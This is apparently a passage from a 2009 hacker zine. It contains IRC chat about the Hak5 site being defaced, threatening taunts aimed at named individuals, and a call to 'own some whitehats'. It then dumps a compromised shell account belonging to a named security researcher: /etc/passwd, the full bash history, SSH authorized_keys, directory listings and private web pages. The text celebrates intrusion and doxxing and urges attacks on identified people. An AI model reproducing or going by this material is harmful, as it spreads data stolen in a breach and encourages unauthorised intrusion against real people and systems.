1364 25637 04:36 -!- mode/#hak5 [+b *!*@mintirc-f46f3932.us] by SpamServ 25638 25639 04:39 < sh33p> The one thing that will get people talking is a ban 25640 04:40 <+Shn> I think the thing that got them talking is the hak5 site being hacked... 25641 04:40 < Joeeigel> ^ 25642 04:40 < The_PHP_Jedi> Wow. It did get defaced. 25643 04:40 < darkjedicoder> I thought that person was kidding 25644 04:41 < The_PHP_Jedi> So was I. 25645 04:41 < Screech_Rat> Nope. That was the real deal. 25646 25647 04:46 < Marfi> So I actually typed "fuqhak5" into google, and there is actually a 25648 group that writes exploits, and you can use them, as long as your not a fan of Hak5 25649 04:47 <+KriLL3> Marfi: oh damn 25650 04:47 < Marfi> http://milw0rm.com/exploits/8678 25651 04:47 < Marfi> KriLL3: Notes at the bottom 25652 04:47 < The_PHP_Jedi> Marfi, yeah, I noticed. 25653 04:47 < The_PHP_Jedi> Boris, good point :P 25654 04:47 < Oneill> someone doesnt like hak5 =X 25655 04:47 < The_PHP_Jedi> Anyways, a defacement is a defacement. Who cares. 25656 04:48 < The_PHP_Jedi> Let Revision3 sue the hell out of anyone if they want to. 25657 04:48 < Marfi> The_PHP_Jedi: Yup. Just some bored 16 year olds 25658 25659 05:06 < balboa> What's wrong with the site :( 25660 05:06 <@Bryan> :o check out the topic 25661 05:06 -!- Benji [Benji@MintIRC-fba35796.tron-inter.net] has joined #hak5 25662 05:06 < balboa> O 25663 05:06 < Benji> hak5 is haksawd? 25664 05:07 < balboa> ^^ 25665 05:07 < Joeeigel> Can you people not read the topic? 25666 05:07 < balboa> Nope 25667 05:07 < Benji> re-what? 25668 05:07 < nish> hey whatsup with the site? 25669 05:07 <@massiveH> Joeeigel, that is asking alot... 25670 05:07 < Joeeigel> Next person to ask that is getting a ban.. 25671 05:07 < darkjedicoder> haha 25672 05:07 < balboa> got rm'd 25673 05:07 < nish> xD 25674 05:08 <@Bryan> nish, read the topic 25675 05:08 < balboa> by some haqr 25676 05:08 < Timber> lolzzzzz 25677 05:08 < uzi> what happened to the site 25678 05:08 <@Bryan> .. 25679 05:08 -!- mode/#hak5 [+b *!*@E60B39.2F35B6.4BF1DF.EEBFBB] by Bryan 25680 25681 06:55 -!- prdelka [400ml@MintIRC-cc39b182.net] has joined #hak5 25682 06:55 < prdelka> did hak5.org just get hacked? 25683 06:56 -!- sena [random@MintIRC-d15a1d16.pools.arcor-ip.net] has joined #hak5 25684 06:57 < prdelka> guess so :) 25685 06:57 < Benji> did prdelka get hacked? 25686 06:57 < Benji> guess so :) 25687 06:59 -!- prdelka [400ml@MintIRC-cc39b182.net] has quit [G-Lined: Security Threat detected] 25688 25689 07:07 -!- Manuel changed the topic of #hak5 to: Welcome to #hak5 | Rules read 'em!!!!: 25690 http://is.gd/6sjb | The_PHP_Jedi is awesome | http://tinyurl.com/mjdaqf | Hacksaw is taboo!!!! 25691 | http://wechoosethemoon.org/ | Yes, hak5.org has been hacked and is ddossed by 25692 prdelka/shifted/Xodus/Chief, and most of us don't care :) 25693 07:07 -!- Manuel changed the topic of #hak5 to: Welcome to #hak5 | Rules read 'em!!!!: 25694 http://is.gd/6sjb | The_PHP_Jedi is awesome | http://tinyurl.com/mjdaqf | Hacksaw is taboo!!!! 25695 | http://wechoosethemoon.org/ | Yes, hak5.org has been hacked and is ddossed, and most of us 25696 don't care :) 25697 07:09 <@VaKo> hacked? this is new 25698 07:09 <@VaKo> I hope they took backups 25699 07:10 <@Manuel> yeah 25700 25701 07:17 <@Manuel> well... ok, maybe not a ddos ... but either way, the entire hosting service is 25702 offline... apparently securibit is down too, along with many other sites hosted by divergent networks 25703 25704 08:17 <+preciousRoy> VaKo: I've been looking at the 'sploit for this, Someone's account was 25705 compromised OR this guy had one on the server. 25706 08:17 < Boris> more no disclosure 25707 08:17 < The_PHP_Jedi> I'mnot even sure if Darren's aware... http://twitter.com/hak5darren 25708 08:17 < The_PHP_Jedi> lol 25709 08:18 <@Bryan> He probably knows 25710 08:18 < The_PHP_Jedi> preciousRoy, but can we confirm that the server was exploited via one of his 25711 own exploits? 25712 08:18 <+Shn> preciousRoy, that exploit doesn't have anything to do with the site being hacked 25713 08:18 <@Manuel> no, but http://twitter.com/chrisgerling 25714 08:18 <+Shn> or not as far as anyone knows 25715 08:18 <@VaKo> i'm all for full disclousure, just only after its been fixed 25716 08:18 < The_PHP_Jedi> Shn, exactly. 25717 25718 08:27 <@Bryan> it could have been magical lizard men who used their psychic powers to pull the root 25719 password from paul. 25720 // I don't know how you know that, but please don't tell anyone else. 25721 25722 10:01 <%The_PHP_Jedi> "Hak5 was indeed hacked along with all 84 of the other sites on the server being 25723 wiped, backups are a month old, rebuilding the server now" 25724 10:02 <%The_PHP_Jedi> A month old. Geez. 25725 25726 10:06 < leechy> i bet he used tor, but thats traceable now 25727 25728 10:13 <%The_PHP_Jedi> leechy, for some reason he hates Hak.5, and that's it. 25729 10:13 <+Shn> leechy, he hates hak5 25730 10:13 < leechy> really dumb 25731 10:13 <%The_PHP_Jedi> Welcome to the world of mysteriously motivated criminals. 25732 25733 10:39 < leechy> i know i'm not supposed to speak of the exploit, but did they remove all of matts 25734 websites? cause thats just a dick move. he could lose jobs over that 25735 // Christ I hope so 25736 25737 11:24 <@The_PHP_Jedi> leechy, we're assuming DivergentNetworks will close down the security hole 25738 before putting their datacenter back online. 25739 11:24 <@The_PHP_Jedi> or servers. Whatever they have. 25740 // ....if they knew what they were? 25741 25742 // Did you guys see Hostgator say they had a patch in the works for the OpenSSH 0day? A patch for 25743 // something they couldn't confirm exists or not? TALENT 25744 25745 11:44 <@The_PHP_Jedi> And yeah, the 1,000,000 penny question: How did they root the server? 25746 11:44 <@The_PHP_Jedi> Assuming the hole's patched. 25747 11:44 < Hak5Matt> that 2.6.29 kernel exploit apparently 25748 11:44 < leechy> oh, don't get 2.6.30 either 25749 11:44 < leechy> its got holes too 25750 // Much like every other Linux kernel out there 25751 25752 23:59 < Timber> Wil they discuss hw the site got hacked in the nxt episode ? 25753 23:59 <@Bryan> probably not 25754 25755 00:31 <@Manuel> the girlfriend thing is acting 25756 00:31 < RichardR> just look at darren's flickr account 25757 00:31 <@Manuel> he said he wants some dude that goes by the nick of "nish" 25758 00:31 <@VaKo> whats wrong with being gay? 25759 00:32 < Solid> its gay 25760 25761 Obviously these men are technological gods. 25762 25763 After the rm, we like how you guys made up a story about how you got hacked. 25764 Was that computer generated? 25765 25766 "At approximately 3:30pm eastern time on Monday, the webserver that hosts Hak5 as well as 84 25767 other non Hak5 related sites was exploited by a cross site scripting attack which resulted in 25768 the dump of a mysql field that contained the root password for the server." 25769 25770 You write good fiction, have you ever thought of ghost-writing for Mitnick? 25771 25772 25773 <prdelka> its a bit inconvienant that i said i wanted to rm them 25774 <prdelka> and then they get rm'd 25775 <prdelka> and defaced with my nick on the site 25776 <prdelka> and an exploit with its own fuqHAK5 license 25777 <prdelka> convientantly referenced on the site 25778 <prdelka> i also am mentally ill so i have to keep telling myself i didnt d oit 25779 <prdelka> heh 25780 25781 Is prdelka pulling a Tyler Durden and ZF0ing at night? ONLY WE KNOW. 25782 25783 25784 25785 | 25786 \ / _\/_ 25787 CF0 .-'-. //o\ _\/_ 25788 -- / \ -- | /o\\ 25789 ^^~^~^~^~^~^~^~^~~^~^~^~^~^~^~^~^~^~^-=======-~^~~^^~~^~^~^~|~~^~^|^~` 25790 | 25791 25792 25793 We're gonna use this column to send some messages and provide some direction. 25794 25795 First, DeadlyData of TheDefecated. You are the sloppiest hacker anywhere. We 25796 watched you hack ioncube and then lose it immediately, because you ssh'd to 25797 root from your home IP. Sad. We usually don't mind other hackers as long as 25798 they are clean and keep to themselves. You're dirtier than the rotting cat 25799 carcass I saw downtown. Please, for the love of God, take a year off. Go up to 25800 the mountains and train under a Shaolin monk in the art of hax. Learn some 25801 Linux. Just, stay out of our way or we will take a detour to shred your hard 25802 drive. 25803 25804 mu-b of digit-labs.org. Hey dude we saw your private xnu exploit leaked to 25805 milw0rm!!! By you!!! Really, when you sell to iDefense you have to remove the 25806 "- Private Source Code -DO NOT DISTRIBUTE -" tag. That's just how it is. And 25807 you're not allowed to ever use it again. You can't pretend to be a priv8 el8 25808 haqer after selling to iDefense. It's not funny to have it on your old exploits 25809 either. Could you just quit security? We would feel better. 25810 25811 Maybe it was owning Anonymous BS that got us a newer, dumber target audience. 25812 We keep seeing complaints about the commands we use from the .bash_history 25813 dumps. Morons, nothing in .bash_history is from us. It's us showing what the 25814 legit user did on his shell. People that make mistakes like these lose their 25815 internet privileges as far as I'm concerned. Just rm these people. rm their 25816 posts, rm their forum accounts, rm their shells, drop their connections....just 25817 do what you can to remind these people that the internet is not a nice place. 25818 Blackcode got an rm for basically a couple posts we did not like. If you run a 25819 forum, you are responsible for keeping your users in line. It's a team effort 25820 here, let's clean this shit up. 25821 25822 63a6d64e31bc22dd7d595ccf1f6d38e2 25823 To someone (and...anyone) prepping to fuck us: Fuck you too. You will be 25824 marked, you understand? We will go scarred earth across any box you've ever 25825 touched, you'll never get off your loopback again. 25826 6ef48cf955add6af43a707c7b56e2071 25827 25828 This antisec chaos is a lot of fun to watch, but you really have to *target* 25829 the security industry instead of just hitting whatever you can, like 25830 imageshack, and defacing it with an antisec message. The theme is right but the 25831 talent needs a bit of work. One observer criticized Anti-sec as "lame ass 25832 quality of their drops, lame overhyping, obviosuly faked logs, contradicting 25833 manifesto and actions," so that's a starter list of what to work on to get 25834 respect in the underground. Give it time. We call for you (and everyone else) 25835 to 0wn some whitehats. See the big mailing list in our article on Dan Kaminsky? 25836 Own some of those. Those are whitehats who think they run this. The survivors. 25837 Valid targets. But beware: those with memories better than a goldfish will note 25838 what we said about DeadlyData. If you hack these whitehats, watch them or rm 25839 them, but do not make a huge mess and get busted quickly. If we lose access 25840 because you stumbled on a box with the grace of a drunken hobo, we will not be 25841 happy. The pr0j3kt lives, now go forth and school some whitehat bitches! 25842 25843 This CF0 already has a winner, Matasano was preemptively owned! HELL YEAH. 25844 25845 25846 25847 | 25848 \ / _\/_ 25849 cr0.org - Tinned Frenchman .-'-. //o\ _\/_ 25850 -- / \ -- | /o\\ 25851 ^^~^~^~^~^~^~^~^~~^~^~^~^~^~^~^~^~^~^-=======-~^~~^^~~^~^~^~|~~^~^|^~` 25852 What will you do when your system fails? | 25853 We have made the present, obsolete 25854 What do you want? What do you need? 25855 We'll find a way when all hope is gone 25856 We've seen the fall of the elite 25857 25858 25859 25860 Julian Tinnes is a french (lol) security expert (lol) and works for Google. His 25861 most noteable work until recently was probably the local turned remote kernel 25862 bug in MadWIFI. Julian's past disclosure brought him to our attention, it just 25863 so happens that he has recently disclosed yet more information (debatable how 25864 much of it was his work). Julien has really had a good couple of years, with 25865 some solid work, especially some good blog posts in the last few months. 25866 25867 This being said, we figured that Julian simply would not want to miss out on 25868 being involved in our full disclosure party. 25869 25870 On with the show. 25871 25872 titiweb@flint:/$ uname -a 25873 Linux flint 2.6.28.7-grsec-em64t #2 SMP Mon Feb 23 15:09:01 CET 2009 x86_64 25874 GNU/Linux 25875 titiweb@flint:/$ cat /etc/passwd 25876 root:x:0:0:root:/root:/bin/bash 25877 daemon:x:1:1:daemon:/usr/sbin:/bin/sh 25878 bin:x:2:2:bin:/bin:/bin/sh 25879 sys:x:3:3:sys:/dev:/bin/sh 25880 sync:x:4:65534:sync:/bin:/bin/sync 25881 games:x:5:60:games:/usr/games:/bin/sh 25882 man:x:6:12:man:/var/cache/man:/bin/sh 25883 lp:x:7:7:lp:/var/spool/lpd:/bin/sh 25884 mail:x:8:8:mail:/var/mail:/bin/sh 25885 news:x:9:9:news:/var/spool/news:/bin/sh 25886 uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh 25887 proxy:x:13:13:proxy:/bin:/bin/sh 25888 www-data:x:33:33:www-data:/var/www:/bin/sh 25889 backup:x:34:34:backup:/var/backups:/bin/sh 25890 list:x:38:38:Mailing List Manager:/var/list:/bin/sh 25891 irc:x:39:39:ircd:/var/run/ircd:/bin/sh 25892 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh 25893 nobody:x:65534:65534:nobody:/nonexistent:/bin/sh 25894 sshd:x:100:65534::/var/run/sshd:/usr/sbin/nologin 25895 clamav:x:101:104::/var/lib/clamav:/bin/false 25896 titiweb@flint:$ ls -la 25897 total 88 25898 drwx------ 8 titiweb titiweb 8192 2009-06-10 17:17 . 25899 drwx------ 3 titiweb titiweb 8192 2009-07-11 14:50 .. 25900 drwx------ 2 titiweb titiweb 8192 2003-08-02 15:26 acidcorp 25901 -rwx------ 1 titiweb titiweb 1801 2009-05-20 10:24 .bash_history 25902 drwx------ 2 titiweb titiweb 8192 2008-04-01 18:44 cgi-bin 25903 drwx------ 15 titiweb titiweb 8192 2009-05-20 00:17 cr0 25904 drwx------ 2 titiweb titiweb 8192 2004-10-21 18:01 .lftp 25905 drwx------ 2 titiweb titiweb 8192 2008-10-14 11:03 .ssh 25906 -rwx------ 1 titiweb titiweb 0 2008-07-08 19:56 .subttlog 25907 -rwx------ 1 titiweb titiweb 13036 2009-05-20 00:17 .viminfo 25908 drwx------ 2 titiweb titiweb 8192 2009-06-10 17:06 www 25909 titiweb@flint:$ cat .bash_history 25910 ls 25911 ls 25912 cd cr0/ 25913 ls 25914 vim vulnerabilities.html 25915 ls 25916 vim .ssh/authorized_keys 25917 ps aux 25918 ls 25919 cd www/ 25920 ls 25921 ls 25922 vim index.html 25923 cd 25924 ls 25925 cd cr0/ 25926 ls 25927 vim index.html 25928 ls 25929 rm gainsbourg.forever.tar 25930 ls 25931 cd cr0/ 25932 ls 25933 vim index.html 25934 ls 25935 vim vulnerabilities.html 25936 vim vulnerabilities.html 25937 ls 25938 cd cr0/ 25939 ls 25940 mkdir getmyip 25941 cd getmyip/ 25942 vim index.pgp 25943 vim index.php 25944 vim index.php 25945 cd.. 25946 cd .. 25947 ls 25948 mv getmyip/ ip 25949 cd ip 25950 ls 25951 vim index.php 25952 cat ../index.html 25953 ls 25954 vim index.php 25955 vim index.php 25956 cd cr0/ 25957 ls 25958 cd ip/ 25959 ls 25960 vim index.php 25961 vim index.php 25962 ls 25963 find | grep -i securite 25964 cd cr0/ 25965 vim index.html 25966 grep divers/securt * 25967 grep divers/securit * 25968 grep divers/securit */* 25969 ls 25970 cd progs/ 25971 ls 25972 cd crctools/ 25973 ls 25974 vim index.html 25975 vim index.html 25976 cd .. 25977 cd .. 25978 vim index. 25979 vim index.html 25980 ls 25981 cd www/ 25982 cd .. 25983 cd cr0/ 25984 ls 25985 vim index. 25986 vim index.html 25987 vim index.html 25988 cd cr0/ 25989 ls 25990 vim index. 25991 vim index.html 25992 chmod 600 index. 25993 chmod 600 about.html 25994 cat about.html 25995 vim index.html 25996 ls 25997 vim www/ 25998 cd cr0/ls 25999 cd cr0/ 26000 ls 26001 vim index.html 26002 ls 26003 cd cr0/ 26004 ls 26005 cd progs/slipfest/ 26006 ls 26007 vim index.html 26008 ls 26009 cd cr0/ls 26010 cd cr0/ 26011 ls 26012 vim index. 26013 vim index.html 26014 ls 26015 cd www/ 26016 ls 26017 cd 26018 cd cr0/ 26019 ls 26020 ls -rc 26021 cat about.html 26022 ls -l 26023 chmod o+r about.html 26024 chmod a+r about.html 26025 chmod g-r about.html 26026 chmod o-r about.html 26027 ls 26028 cd www/ 26029 ls 26030 cd .. 26031 ls 26032 cd cr0/ 26033 ls 26034 vim index.html 26035 vim index.html 26036 cd cr0/ 26037 ls 26038 vim index. 26039 vim index.html 26040 ls 26041 cd cr0/ 26042 ls 26043 cd misc/ 26044 ls 26045 wget 'http://guillot.iiens.net/softs/smile.rb' 26046 ls -l 26047 ls 26048 ls acidcorp/ 26049 cat acidcorp/index.html 26050 ls 26051 cd cr0/ 26052 ls 26053 cat about.html 26054 vim about.html 26055 ls 26056 cd cr0/ 26057 ls 26058 cd pa 26059 cd paper/ 26060 ls 26061 ls 26062 cd cr0/ 26063 ls 26064 cd pu 26065 ls 26066 cd cr0 26067 ls 26068 cd bordel/ 26069 ls 26070 wipe impotscertif1.p12 26071 shred impotscertif1.p12 26072 file im 26073 file impotscertif1.p12 26074 rm impotscertif1.p12 26075 ls 26076 ls 26077 ls 26078 cd cr0/ 26079 vim index.html 26080 ls -l 26081 cp index.html index.html.bak 26082 chmod 600 index.html.bak 26083 vim index.html 26084 cd cr0/misc/ 26085 ls 26086 ls -l calendarpatch.patch 26087 titiweb@flint:$ ls -la .ssh/ 26088 total 32 26089 drwx------ 2 titiweb titiweb 8192 2008-10-14 11:03 . 26090 drwx------ 8 titiweb titiweb 8192 2009-06-10 17:17 .. 26091 -rwx------ 1 titiweb titiweb 1193 2008-07-08 11:47 authorized_keys 26092 -rwx------ 1 titiweb titiweb 239 2005-08-11 20:37 known_hosts 26093 titiweb@flint:$ cat .ssh/* 26094 ssh-rsa 26095 AAAAB3NzaC1yc2EAAAABIwAAAQEA3hFSiTBbjIgZUI5hb4huhzhtnJ5N+R2tac5I3xhtdzrwrnz/hb6 26096 5YOMJpi6ZidYayb/GO12MoegHFYjM7ojOQurv6efrgw5eHa9hGA0g7niYlLWysikrGARA5jeNLouzYC 26097 j86CeaLdItJmaZXrwuzWJX1S/+KcUc95QnDGnl+lmoM66h9zYhqvHzGw+6xv+URrF+9sDq0u6sNX1UA 26098 Z3zdHNQYYiRsPNUUCZDensW8lZ6q3xk1W59gp8l5Xl0+SpHW1CuVSqXMiqwb2vd+C4YJE5VBvsz2Aq0 26099 fxrrRbXzW/OqKm6TLWPua6JP0bOwqmyN7akiK3m3XBbAJLSpK2Ey/w== piaf@paradigm 26100 ssh-rsa 26101 AAAAB3NzaC1yc2EAAAABIwAAAQEA2Jo1urZjj2YRqrxwKp+EV6H7/v9qBLbb9bCYo0OhvTd8fKuIJUH 26102 TS/1HzV9YUW3BMHYpc3BaOYAqRLu3x32zK3p9j8WJCuNuRtin4kCYt3AZmfQLPSeN75jrNzZcggKyHI 26103 7J7hLVDpMBfYHS8wfLPHbCYZ7FaZ8snJtL2MJ1Ck/bWRdVrr3a9xymAoHhFMLCFX5C962uVJhJGlGd3 26104 a727N5NJ4yA3vKAhfbNWqS5sgd03kQ+GXXCWhqvw64yziVyEK5UaFyCjjZatySMscuLygugwsq3A7r8 26105 EjlcfsytJeIKN3Uald6/zmlOXT8gmJihVOD8CEEp/o6MdAGnknjzfQ== julien@p-xplesnois 26106 ssh-rsa 26107 AAAAB3NzaC1yc2EAAAABIwAAAQEAyQUi5aYuj5EGR0KkHQ3NckbaV6fh/yXcc+TGwuBP8m0YrsGT9ks 26108 D485QRQlLdP7AUAYhkbfnoB0VcXy/JRG/c4uDpYXputidYzZlnSx5V7T9CdW+YfQnHBLNuM1YYACWzP 26109 58vtRwqWZ20u5d0qT8sZIdSq5sJTYKYTBJ++xOBLzu4lhDT9XsmgDP9oMbeDWaY8HICkHKlHBQt/l0v 26110 w0I5CW2TfRpSHEHZKNwTKJbcMCPiSmPT1BfySzQmKjEWfqBqAXgc8zhYOT3PX3TY+8Sijbt+txbDOTs 26111 SRWU8Sv4jiAagKQUJrJU4BA+jTDYEW1vqCoVne4lv4scWo5Ui78IsQ== julien@p-doncule 26112 perso.iiens.net,193.54.225.86 ssh-rsa 26113 AAAAB3NzaC1yc2EAAAABIwAAAIEAuI6ewi4LU8cyV31PeY7yD5z/vaT/dpRk9T3RQCGWj1t56Ou8Lfd 26114 pL57moU05TwI/D549Of1w/kdHGazcZVVD1TXECk/ZdpIXZNuGJoxr9Cbd1rgY6hRmxGu/jP8MNNmqjY 26115 kumzsl/HIUJhCTcndFRPRSaWRObCfeUiEwRduQwYM= 26116 titiweb@flint:$ ls -la cr0/ 26117 total 168 26118 drwx------ 15 titiweb titiweb 8192 2009-05-20 00:17 . 26119 drwx------ 8 titiweb titiweb 8192 2009-06-10 17:17 .. 26120 -rwx------ 1 titiweb titiweb 1101 2009-03-08 21:20 about.html 26121 drwx------ 2 titiweb titiweb 8192 2006-03-28 11:42 aslr26 26122 drwx------ 10 titiweb titiweb 8192 2009-05-07 22:30 bordel 26123 drwx------ 2 titiweb titiweb 8192 2005-12-29 03:21 cr0-ca 26124 -rwx------ 1 titiweb titiweb 2524 2008-05-28 12:44 cr0.css 26125 drwx------ 2 titiweb titiweb 8192 2007-06-17 18:54 exploits 26126 -rwx------ 1 titiweb titiweb 7629 2009-04-18 01:44 index.html 26127 -rwx------ 1 titiweb titiweb 7629 2009-05-20 00:16 index.html.bak 26128 -rwx------ 1 titiweb titiweb 6638 2008-09-28 08:12 index.xhtml 26129 drwx------ 2 titiweb titiweb 8192 2009-02-14 15:27 ip 26130 drwx------ 2 titiweb titiweb 8192 2008-09-16 17:37 kexploits-pub 26131 drwx------ 2 titiweb titiweb 8192 2005-12-30 12:13 lobster 26132 drwx------ 2 titiweb titiweb 8192 2009-05-19 22:26 misc 26133 drwx------ 2 titiweb titiweb 8192 2009-04-23 00:17 paper 26134 drwx------ 6 titiweb titiweb 8192 2008-09-14 12:20 pax 26135 drwx------ 3 titiweb titiweb 8192 2005-01-21 13:04 pax-obscure 26136 drwx------ 7 titiweb titiweb 8192 2008-07-07 22:52 progs 26137 drwx------ 2 titiweb titiweb 8192 2005-01-21 14:18 security-ca 26138 -rwx------ 1 titiweb titiweb 0 2003-08-03 02:51 style.css 26139 -rwx------ 1 titiweb titiweb 3962 2008-12-22 22:26 vulnerabilities.html 26140 titiweb@flint:$ cd cr0/ 26141 titiweb@flint:/cr0$ ls -la exploits/ 26142 total 16 26143 drwx------ 2 titiweb titiweb 8192 2007-06-17 18:54 . 26144 drwx------ 15 titiweb titiweb 8192 2009-05-20 00:17 .. 26145 titiweb@flint:/cr0$ echo :\( 26146 :( 26147 titiweb@flint:/cr0$ ls -la ip/ 26148 total 24 26149 drwx------ 2 titiweb titiweb 8192 2009-02-14 15:27 . 26150 drwx------ 15 titiweb titiweb 8192 2009-05-20 00:17 .. 26151 -rwx------ 1 titiweb titiweb 413 2009-02-14 15:17 index.php 26152 titiweb@flint:/cr0$ cat ip/index.php 26153 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" 26154 "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> 26155 <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="us"> 26156 <head> 26157 <title> 26158 My IP address 26159 </title> 26160 <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> 26161 </head> 26162 <body> 26163 <p> 26164 <? 26165 $ip=getenv(REMOTE_ADDR); 26166 echo htmlentities($ip) . " (" . htmlentities(gethostbyaddr($ip)) . ")"; 26167 ?> 26168 </p> 26169 </body> 26170 </html> 26171 26172 titiweb@flint:/cr0$ ls -la kexploits-pub/ 26173 total 24 26174 drwx------ 2 titiweb titiweb 8192 2008-09-16 17:37 . 26175 drwx------ 15 titiweb titiweb 8192 2009-05-20 00:17 .. 26176 -rwx------ 1 titiweb titiweb 11 2007-10-06 13:45 index.html 26177 titiweb@flint:/cr0$ cat kexploits-pub/index.html 26178 A faire ;) 26179 titiweb@flint:/cr0$ ls -la lobster/ 26180 total 48 26181 drwx------ 2 titiweb titiweb 8192 2005-12-30 12:13 . 26182 drwx------ 15 titiweb titiweb 8192 2009-05-20 00:17 .. 26183 -rwx------ 1 titiweb titiweb 717 2005-12-30 12:13 index.php 26184 -rwx------ 1 titiweb titiweb 1318 2005-12-30 12:11 lobstercert.crt 26185 -rwx------ 1 titiweb titiweb 189 2005-12-30 12:11 lobstercert.crt.asc 26186 -rwx------ 1 titiweb titiweb 907 2005-12-30 12:10 style.css 26187 titiweb@flint:/cr0$ cat lobster/index.php 26188 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" 26189 "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> 26190 <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr"> 26191 <head> 26192 <title> 26193 Lobster certificate 26194 </title> 26195 <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> 26196 <meta name="keywords" content="cr0.org CA" /> 26197 <link rel="stylesheet" href="style.css" type="text/css"/> 26198 </head> 26199 <body> 26200 <div class="corps"> 26201 <p class="titre">lobster certificate</p> 26202 <p>This certificate is signed with my GPG key</p> 26203 <p class="me"><cite>-- Julien TINNES, Fri Dec 30 13:11:12 CET 2005</cite></p> 26204 26205 <a href="lobstercert.crt">Lobster certificate</a> 26206 <br/> 26207 <a href="lobstercert.crt.asc">GPG signature</a> 26208 <br/> 26209 </div> 26210 </body> 26211 </html> 26212 titiweb@flint:/cr0$ cat pax-obscure/index.php 26213 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" 26214 "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> 26215 <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr"> 26216 <head> 26217 <title> 26218 PaX obscurity patch 26219 </title> 26220 <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> 26221 <meta name="keywords" content="PaX ASLR obscurity patch" /> 26222 <link rel="stylesheet" href="style.css" type="text/css"/> 26223 </head> 26224 <body> 26225 <div class="corps"> 26226 <p class="titre">Small PaX obscurity patch </p> 26227 <p>This patch prevents information leaking through /proc/#/maps and 26228 /proc/#/stat as well as a little local console trick.</p> 26229 <p class="masta"><cite>-- Julien TINNES, sat aug 30 23:24:05 CEST 26230 2003</cite></p> 26231 26232 <a 26233 href="pax+obs-linux-2.4.22-200308302223.tar.gz">pax+obs-linux-2.4.22-2003083022 26234 23.tar.gz</a> 26235 <br/> 26236 <a href="pax+obs-linux-2.4.22-200308302223.tar.gz.sig">signature</a> 26237 <p class="readme"> 26238 <? 26239 $fp=fopen("README-PAX+obs","r"); 26240 $contents = fread ($fp, filesize("README-PAX+obs")); 26241 fclose($fp); 26242 echo nl2br($contents); 26243 ?> 26244 </p> 26245 </div> 26246 </body> 26247 </html> 26248 titiweb@flint:/cr0$ cat security-ca/index.php 26249 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" 26250 "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> 26251 <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr"> 26252 <head> 26253 <title> 26254 Security CA GPG key 26255 </title> 26256 <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> 26257 <meta name="keywords" content="Security CA" /> 26258 <link rel="stylesheet" href="style.css" type="text/css"/> 26259 </head> 26260 <body> 26261 <div class="corps"> 26262 <p class="titre">CA for maintenance and installation of GNU/Linux </p> 26263 <p>Security CA is a GPG key signing public keys which are usefull/necessary 26264 when installing a GNU/Linux 26265 System</p> 26266 <p class="masta"><cite>-- Julien TINNES, Fri Jan 21 14:07:15 CET 26267 2005</cite></p> 26268 26269 <a href="security-ca.asc">Security CA public key</a> 26270 <br/> 26271 <a href="security-ca-keyring.asc">Public keys signed by Security CA</a> 26272 <br/> 26273 <a href="README-security-CA.asc">Signed README</a> 26274 <p class="readme"> 26275 <? 26276 $fp=fopen("README-security-CA","r"); 26277 $contents = fread ($fp, filesize("README-security-CA")); 26278 fclose($fp); 26279 echo nl2br($contents); 26280 ?> 26281 </p> 26282 </div> 26283 </body> 26284 </html> 26285 titiweb@flint:/cr0$ cd .. 26286 titiweb@flint:$ ls -la www/ 26287 total 784 26288 drwx------ 2 titiweb titiweb 8192 2009-06-10 17:06 . 26289 drwx------ 8 titiweb titiweb 8192 2009-06-10 17:17 .. 26290 -rwx------ 1 titiweb titiweb 11 2003-08-02 15:26 index.html 26291 -rwx------ 1 titiweb titiweb 758661 2007-08-18 20:58 londre1.jpg 26292 -rwx------ 1 titiweb titiweb 451 2006-01-02 12:51 rss.gif 26293 -rwx------ 1 titiweb titiweb 42 2005-11-20 00:09 update 26294 titiweb@flint:/cr0$ ls -laR 26295 .: 26296 total 168 26297 drwx------ 15 titiweb titiweb 8192 2009-05-20 00:17 . 26298 drwx------ 8 titiweb titiweb 8192 2009-06-10 17:17 .. 26299 -rwx------ 1 titiweb titiweb 1101 2009-03-08 21:20 about.html 26300 drwx------ 2 titiweb titiweb 8192 2006-03-28 11:42 aslr26 26301 drwx------ 10 titiweb titiweb 8192 2009-05-07 22:30 bordel 26302 drwx------ 2 titiweb titiweb 8192 2005-12-29 03:21 cr0-ca 26303 -rwx------ 1 titiweb titiweb 2524 2008-05-28 12:44 cr0.css 26304 drwx------ 2 titiweb titiweb 8192 2007-06-17 18:54 exploits 26305 -rwx------ 1 titiweb titiweb 7629 2009-04-18 01:44 index.html 26306 -rwx------ 1 titiweb titiweb 7629 2009-05-20 00:16 index.html.bak 26307 -rwx------ 1 titiweb titiweb 6638 2008-09-28 08:12 index.xhtml 26308 drwx------ 2 titiweb titiweb 8192 2009-02-14 15:27 ip 26309 drwx------ 2 titiweb titiweb 8192 2008-09-16 17:37 kexploits-pub 26310 drwx------ 2 titiweb titiweb 8192 2005-12-30 12:13 lobster 26311 drwx------ 2 titiweb titiweb 8192 2009-05-19 22:26 misc 26312 drwx------ 2 titiweb titiweb 8192 2009-04-23 00:17 paper 26313 drwx------ 6 titiweb titiweb 8192 2008-09-14 12:20 pax 26314 drwx------ 3 titiweb titiweb 8192 2005-01-21 13:04 pax-obscure 26315 drwx------ 7 titiweb titiweb 8192 2008-07-07 22:52 progs 26316 drwx------ 2 titiweb titiweb 8192 2005-01-21 14:18 security-ca 26317 -rwx------ 1 titiweb titiweb 0 2003-08-03 02:51 style.css 26318 -rwx------ 1 titiweb titiweb 3962 2008-12-22 22:26 vulnerabilities.html 26319 26320 ./aslr26: 26321 total 88 26322 drwx------ 2 titiweb titiweb 8192 2006-03-28 11:42 . 26323 drwx------ 15 titiweb titiweb 8192 2009-05-20 00:17 